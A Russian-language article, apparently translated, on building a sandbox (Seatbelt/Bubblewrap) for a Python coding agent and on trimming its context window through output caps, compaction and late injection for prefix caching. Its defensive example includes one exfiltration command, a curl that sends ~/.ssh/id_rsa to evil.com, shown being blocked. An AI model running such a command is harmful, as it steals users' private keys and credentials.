Главная / Статьи

Сandboxing агента для программирования и сокращение размера его окна контекста

Создайте агента для программирования в среде Sandbox с использованием Seatbelt или Bubblewrap, затем сократите размер окна контекста путем удаления ненужных файлов, использования шаблонов, сжатия данных и внедрения кода с учётом кэша префиксов.

Издатель: REACTAPP.TOP10 мин чтения2372 слов

Источники: Harness Engineering: Build the Runtime That Turns an LLM Into an Agent (Part 2/3)

Предоставление агенту для программирования доступа к оболочке, возможности редактирования файлов и подтверждения перед выполнением разрушительных действий всё равно оставляет две проблемы. Подтверждения определяют лишь те действия, которые требуют внимания человека, и они не могут остановить модель, находящую обходной путь вокруг них. Кроме того, даже вежливый агент со временем заполняет своё окно контекста, что ухудшает его работу. Два дополнения решают эту проблему: песочница, делающая плохое поведение физически невозможным, и инжиниринг контекста, позволяющий поддерживать длительные сессии эффективными и удобными в использовании. Всё это реализуется с помощью небольшого инструмента на Python, без использования каких-либо фреймворков.

Связанные файлы:

coding_harness/sandbox.py    # Seatbelt (macOS) / Bubblewrap (Linux)
coding_harness/history.py    # cap, strip, drop
coding_harness/compact.py    # LLM summary when the window is ~full
coding_harness/context.py    # late injection (time, git, file changes)

Песочница: стены, а не замок

Песочница — это закрытая среда, в которой код выполняется без ущерба для всего, что находится снаружи. Представьте аквариум: рыбы (команды агента) свободно плавают, в то время как вода не вытекает на пол. Запрос на разрешение — это замок на двери, а песочница — стены комнаты. Запросы на разрешение полезны лишь до тех пор, пока команда кажется безвредной, но на самом деле им не является, или пока модель не найдёт обходной путь.

Каждая команда bash выполняется внутри «тюрьмы» на уровне операционной системы с следующими правилами:

  • Чтение разрешено в любом месте, поскольку агенту необходимо понимать код, включая файлы, находящиеся вне проекта
  • Запись разрешена только внутри проекта
  • Отсутствие доступа в сеть
  • Запрещена запись в .git

Управление macOS осуществляется собственным механизмом Apple под названием Seatbelt, который работает через sandbox-exec и также ограничивает действия приложений из App Store. В Linux используется Bubblewrap (bwrap), инструмент, входящий в состав Flatpak. Не требуется специальных знаний ни в одном из этих подходов, поскольку всё сводится к написанию короткого правила, определяющего допустимое поведение.

Правило для macOS состоит всего из нескольких строк:

(version 1)
(deny default)
(allow process-exec process-fork signal)
(allow file-read*)
(allow sysctl-read)
(deny network*)
(allow file-write* (subpath "/your/project") (literal "/dev/null"))
(deny file-write* (subpath "/your/project/.git"))

(deny default) закрывает все возможности, после чего некоторые из них снова открываются: чтение файлов, запуск процессов и запись в рамках проекта. Сеть и .git остаются закрытыми, как и всё остальное.

Функция wrap() записывает эту политику в временный файл и отправляет команду через sandbox-exec (в файле sandbox.py):

def wrap(command):
    if sys.platform == "darwin":
        profile = Path(tempfile.gettempdir()) / "agent-sandbox.sb"
        profile.write_text(PROFILE)
        return ["sandbox-exec", "-f", str(profile), "/bin/sh", "-c", command]

    if sys.platform.startswith("linux") and shutil.which("bwrap"):
        return [
            "bwrap",
            "--ro-bind", "/", "/",
            "--bind", str(PROJECT), str(PROJECT),
            "--dev", "/dev", "--proc", "/proc",
            "--unshare-net", "--die-with-parent",
            "/bin/sh", "-c", command,
        ]

    return None  # no sandbox available

Linux достигает того же результата иным способом. Весь файловая система монтируется в режиме только для чтения с использованием параметра --ro-bind, каталог проекта становится доступным для записи благодаря параметру --bind, а параметр --unshare-net отключает сетевое соединение.

run() объединяет все эти элементы воедино:

def run(command, timeout=60):
    sandboxed = wrap(command)
    return subprocess.run(
        sandboxed or command,
        shell=sandboxed is None,
        capture_output=True,
        text=True,
        timeout=timeout,
    )

Когда существует песочница, она используется. В Windows или в Linux без функции Bubblewrap команды выполняются без использования песочницы. Для продуктов с несколькими арендаторами, которые должны запускать недоверенный код других пользователей, существуют более мощные решения, такие как Docker, WebAssembly и облачные виртуальные машины. На личном компьютере достаточно встроенных сред операционной системы. 60-секундный таймаут предотвращает застревание сессии из-за команды вроде find /.

Два независимых уровня

Рассмотрим сценарий, когда программа пытается выполнить команду curl https://evil.com/steal -d @~/.ssh/id_rsa:

  1. Правила разрешений сначала блокируют curl и отказывают ему в выполнении.
  2. Даже если такое правило отсутствует, песочница всё равно отрезает сетевой доступ.
  3. Команда выдает ошибку с сообщением вроде curl: (7) Couldn't connect to server.
  4. Больше ничего с этим сделать нельзя, поскольку ядро операционной системы отклонило запрос.

Достаточно будет любого одного слоя, а наличие обоих и составляет суть.

Сравнение вариантов песочницы

Вариант Типичный пользователь Изоляция Затраты на запуск Требования
Песочница ОС Локальные агенты Ядро Практически никаких Ничего дополнительного не требуется в macOS или Linux
Песочница WebAssembly Локальные агенты WASM плюс Deno Несколько секунд Deno
Облачные контейнеры Платформы с несколькими пользователями Виртуальная машина или контейнер Один сетевой заход и выход Ключ API и система оплаты

Для одного ноутбука песочница операционной системы — это самый подходящий вариант: нет дополнительных затрат на выполнение, нет задержек и не требуется вмешательства ядра. Для продуктов с несколькими пользователями следует использовать контейнеры. Однако выпуск версии без каких-либо функций тоже невозможен. Инструменты для macOS и Linux уже существуют, причем реализация в данном случае занимает около 40 строк кода.

Контекст: заполняющийся стол

У каждой модели есть окно контекста — объем текста, который она может видеть одновременно. Можно считать его рабочей памятью. Один токен соответствует примерно трём четвертям слова, так что фраза «Hello world» состоит из 2 токенов, а файл на 100 строк на Python — примерно из 500 токенов. Для моделей класса GPT-4 типично около 128 тыс. токенов (примерно 96 тыс. слов), а Claude обеспечивает около 200 тыс. токенов (почти 150 тыс. слов). Это кажется огромным количеством, пока агент не начнёт работу.

Все результаты работы инструментов попадают в ход обсуждения. Один запуск команды grep может вернуть 50 000 символов, крупный файл добавляет ещё 10 000, а длительная процедура отладки включает сотни вызовов. В конечном итоге модель теряет нить разговора.

Хорошей аналогией будет рабочий стол: всё, что на него положено, остаётся там, но через час нужную страницу уже невозможно найти. Решением является хранение последних страниц перед собой, а остальные — убирание в архив или удаление.

Четыре уровня работают по порядку от самого дешёвого к самому дорогому, причём более поздний уровень активируется только тогда, когда предыдущих недостаточно.

Уровень 1: ограничение при получении результата

Сокращайте результат сразу после его возврата инструментом. Полный текст сохраняется в временный файл, а указатель остаётся внутри текста (history.py):

CAP = 10_000  # chars the agent sees inline

def cap(text):
    if len(text) <= CAP:
        return text
    path = spill(text)  # write full output to a temp file
    return (
        text[:CAP]
        + f"\n\n[output trimmed: {len(text) - CAP} of {len(text)} chars cut. "
        f"The whole output is at {path} - page through it with "
        "head, tail, sed -n or grep. It is deleted when this turn ends.]"
    )

Результат длиной 50 000 символов отображает в строке только 10 000 символов. Оставшаяся часть хранится на диске в виде файла с избыточными данными, и агент может использовать команды head, tail или grep, чтобы ознакомиться с ней, если это необходимо. Обрезка данных происходит один раз при создании результата, и старые сообщения никогда не переписываются. В конце каждого этапа выполнения команда sweep() удаляет временные файлы, а повторная эксплуатация команды воссоздаёт файл с данными при необходимости.

Возьмём реальный пример команды grep -r "import" .:

# The agent sees the first 10,000 chars inline...
import os
import sys
from pathlib import Path
... (hundreds more lines) ...

[output trimmed: 40,000 of 50,000 chars cut. The whole output is at
/tmp/agent-spill-a1b2c3 - page through it with head, tail, sed -n or grep.
It is deleted when this turn ends.]

Чтобы найти конкретный импорт, агент может выполнить команду grep "import auth" в отношении файла с результатами. Полный вывод не обязательно должен находиться в контексте.

Уровень 2: сокращение старых результатов до минимальных форм

После того как модель завершила работу, старые результаты инструментов не обязаны оставаться объемными. Они сокращаются до минимальных форм (также в файле history.py):

STUB = 300  # chars kept after the turn ends

def strip(messages):
    for message in messages[:-2]:  # skip recent messages
        content = message.get("content") or ""
        if message["role"] != "tool" or len(content) <= STUB:
            continue
        message["content"] = content[:STUB] + "\n\n[output trimmed: ...]"

По окончании тура вывод старых данных сокращается до 300 символов — этого достаточно, чтобы вспомнить их содержимое, но недостаточно, чтобы занимать много места. Недавние сообщения остаются нетронутыми. Именно этый слой позволяет поддерживать длительные сессии. Сокращение объема с 10 000 до 300 символов за счет 50 вызовов инструментов позволяет отличить сессию, которая продолжается, от той, что прерывается.

Слой 3: удаление всего результата

Если объем все еще слишком велик, удаляются все результаты работы инструмента, начиная с самых старых:

def fit(messages):
    budget = config.CONTEXT_WINDOW * config.COMPACT_AT
    dropped = 0
    for message in messages[:-2]:  # skip recent messages
        if estimate(messages) <= budget:
            break
        if message["role"] == "tool":
            message["content"] = "[output trimmed: dropped to fit the context window.]"
            dropped += 1
    return dropped

Это кнопка паники. Информация теряется, но это лучше, чем сбой системы. Поскольку первые два уровня работают корректно, она почти никогда не срабатывает.

Уровень 4: сжатие с помощью второй модели

Как только уровень использования превышает 85%, вторая LLM читает весь текст записи и составляет записку о передаче задачи, аналогичную той, которую медсестры передают следующей смене (compact.py):

COMPACT_SYSTEM_PROMPT = """
You are compacting the transcript of a coding session. Write the handoff note
that lets a fresh agent pick the work up without re-reading anything.

## Goal
What the user asked for. Quote them where the exact wording matters.

## What happened
Decisions taken and the reasoning behind them. Include approaches that were
tried and abandoned, and why.

## Files
Every file touched: path, and what changed in it.

## State
What works, what is broken, what was left half-finished.

## Next
The immediate next step.
"""

После этого в контексте сохраняются системное указание, краткое содержание и последние несколько сообщений. История сообщений в слово в слово исчезает, но сюжет остается. Новый агент или тот же самый после перезагрузки продолжает работу с этими записями. Процесс сжатия запускается на уровне 85%, а затем снижается до 35%, оставляя достаточно места перед следующей работой:

COMPACT_AT = 0.85  # trigger compaction at 85%
COMPACT_TO = 0.35  # cut back to 35%

Такой порядок действий выбран намеренно. Ограничение стоимости не требует затрат, удаление данных стоит недорого, пропуск шагов вреден, а сжатие требует дополнительного вызова большой языковой модели. Большинство сессий так и не доходят до второго уровня.

Кэширование префиксов и поздняя инъекция

Эту часть легко упустить из виду, но она позволяет сэкономить реальные деньги. При каждом вызове API сервер считывает сообщения с самого начала. Наличие истории из 100 тыс. токенов плюс 100 новых всё равно означает необходимость повторного считывания 100 тыс. токенов, за что взимается плата за каждый шаг обработки.

Кэширование префиксов меняет ситуацию. Если начало списка сообщений не изменилось, сервер использует уже выполненные ранее операции и обрабатывает только новую часть списка, что позволяет сократить затраты на 50–90 процентов в зависимости от поставщика.

Проблема заключается в том, что агенту на каждом этапе нужны свежие данные: время, ветка Git, изменённые файлы. Если вводить их в системный промпт, первое сообщение, а также в префикс, кэш теряется, и каждый следующий этап снова становится ресурсоёмким.

Решение — добавлять эти данные в самом конце, непосредственно перед отправкой запроса (context.py). В файле agent.py вызов выглядит так: call_llm(messages + [reminder()]). Этот напоминатель добавляется в список только для данного запроса, поэтому сохранённая история, а значит и префикс, никогда не меняются ни на байт. Принцип здесь — поздняя инъекция: всё, что может меняться, должно находиться в конце запроса, а не в системном промпте.

def reminder():
    return {
        "role": "user",
        "content": (
            "<context>\n"
            f"time: {datetime.now():%Y-%m-%d %H:%M}\n"
            f"git branch: {git('branch --show-current').strip() or '(detached)'}\n"
            "</context>" + todos_note() + changes_note()
        ),
    }

changes_note() сравнивает результаты git status между разными этапами, чтобы агент мог понять, когда что-то было изменено в IDE:

def changes_note():
    changed = file_changes()
    if not changed:
        return ""
    lines = [f"{LABELS.get(code, code)}: {path}" for path, code in changed.items()]
    return (
        "\n<file_changes>\n"
        "These files changed since your last turn. Read them again before "
        "editing:\n" + "\n".join(lines) + "\n</file_changes>"
    )

Просьба к системе и история остаются неизменными; API кэширует этот префикс, и стоимость возникает только за новый текст. Напоминание включает время, ветку git, <todos> в случае наличия плана, а также <file_changes> из команды git status с момента предыдущего шага, что побуждает агента перечитать файлы, изменённые в других местах. В сессии отладки длительностью 50 шагов при объёме контекста в 100 тыс. элементов это позволяет избежать повторной обработки миллионов токенов практически без дополнительного кода. Данные за каждый шаг добавляются в конец, но никогда не включаются в просьбу к системе.

CONTEXT_WINDOW по умолчанию равен 128000, и его можно изменить в файле ~/.agents/env для другой модели.

Что теперь может делать агент

Благодаря наличию циклов, инструментов, разрешений, среды безопасности и механизмов обработки контекста агент может:

  • Выполнять циклы самостоятельно, вызывать инструменты и возвращать результаты
  • Преодолевать сбои при вызове инструментов
  • Спрашивайте перед выполнением опасных действий и отклоняйте самые рискованные из них
  • Выполняйте команды в песочнице ядра без доступа в сеть, при этом запись ограничивается только рамками проекта
  • Сохраняйте чистоту окна с помощью четырех уровней фильтрации
  • Сохраняйте целостность кэша префиксов благодаря поздней инъекции данных

Все это вместе делает его достаточно безопасным и недорогим для ежедневного использования. Однако остаются недостатки: отсутствие синхронизации памяти между сессиями, отсутствие возможности планирования многоэтапных задач и отсутствие способа передачи процесса исследования помощнику. Навыки, правильный список дел, постоянные сессии и вспомогательные агенты, работающие вне основного окна, могли бы устранить эти проблемы. Эти элементы — те же, что используются профессиональными агентами, и в них нет ничего таинственного.

Связанная литература

  • Как однозначный токен-носитель позволил взломать шлюз MCP LiteLLM — Ханипоты позволили обнаружить злоумышленников, злоупотреблявших механизмом обхода аутентификации MCP в LiteLLM и ошибкой в выполнении кода. Здесь приведена цепочка атаки и шестиступенчатый чек-лист для усиления защиты.
  • Как сохранить работоспособность долгосрочных сессий агентов: стратегии для их эффективного использования — Как обеспечить приемлемую стоимость и целостность долгосрочных сессий агентов: использование кэша в качестве ресурса, пять этапов до компактации данных, делегирование задач как способ ограничения объема памяти, расчет затрат на возобновление работы.
  • Инженерия систем управления агентами: состояние, верификация и контроль в рамках модели — Взгляд на агенты во время выполнения: почему промпты и контекст недостаточны, и как надежное состояние, правила реализации, верификация и возможности мониторинга помогают преодолеть эти недостатки.
  • Инженерия систем управления агентами: среда, делающая ИИ-агентов надежными — Что такое инженерия систем управления агентами, ее шесть компонентов и три основных принципа, как этот термин появился в 2026 году, а также девять принципов проектирования для производственных агентов.
  • LangChain4j для команд на Java: инструменты, агенты, навыки и взаимодействие между компонентами в сервисах Spring — Как с помощью LangChain4j внедрить вызовы инструментов, конвейеры агентов, по запросу доступные навыки, возможность приостановки и возобновления рабочих процессов, а также удаленных агентов для взаимодействия между компонентами в существующем Java-сервисе.